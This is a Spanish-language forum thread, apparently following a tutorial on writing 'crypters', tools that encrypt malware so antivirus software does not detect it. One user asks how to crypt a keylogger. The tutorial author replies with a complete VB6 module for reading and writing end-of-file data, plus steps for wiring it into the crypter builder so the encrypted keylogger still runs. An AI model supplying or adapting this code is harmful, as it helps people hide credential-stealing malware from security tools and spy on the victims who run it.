apolcaro: escribió: Una pregunta, estos crypter siguen sirviendo? estoy con ganas de incursionar en este mundillo, pero creo que al ser del 2014 esta un poco desactualizado no? gracias

Blau escribió: 12 Sep 2014, 21:20

osc escribió: Buen tuto y muy bien explicado!....Gracias por compartirlo!

¡De nada!

snok1415 escribió: Gracias por el tutorial!!!

Una pregunta... quiero encriptar un keylogger y leí que para eso el crypter debe tener EOF. ¿Cómo hago eso?

Necesitas el siguiente módulo

Mostrar/Ocultar

Attribute VB_Name = "mEOF"
Option Explicit

Public Function ReadEOFData(sFilePath As String) As String
On Error GoTo Err:
Dim sFileBuf As String, sEOFBuf As String, sChar As String
Dim lFF As Long, lPos As Long, lPos2 As Long, lCount As Long

If Dir(sFilePath) = "" Then GoTo Err:
lFF = FreeFile
Open sFilePath For Binary As #lFF
sFileBuf = Space(LOF(lFF))
Get #lFF, , sFileBuf
Close #lFF

lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
ReadEOFData = StrReverse(sEOFBuf)
If ReadEOFData = "" Then
MsgBox "EOF data was not detected!", vbInformation, "Info"
End If
Exit Function

Err:
ReadEOFData = vbNullString
End Function

Sub WriteEOFData(sFilePath As String, sEOFData As String)
Dim sFileBuf As String
Dim lFF As Long
On Error Resume Next

If Dir(sFilePath) = "" Then Exit Sub
lFF = FreeFile
Open sFilePath For Binary As #lFF
sFileBuf = Space(LOF(lFF))
Get #lFF, , sFileBuf
Close #lFF

Kill sFilePath
lFF = FreeFile

Open sFilePath For Binary As #lFF
Put #lFF, , sFileBuf & sEOFData
Close #lFF
End Sub

Public Function GetNullBytes(lNum) As String
Dim sBuf As String
Dim i As Integer

For i = 1 To lNum
sBuf = sBuf & Chr(0)
Next

GetNullBytes = sBuf
End Function

Entonces, en el builder antes de

MsgBox "¡Archivo cifrado con éxito!"

Pegas el siguiente código

Call WriteEOFData(CD.FileName, ReadEOFData(txtArchivo.Text))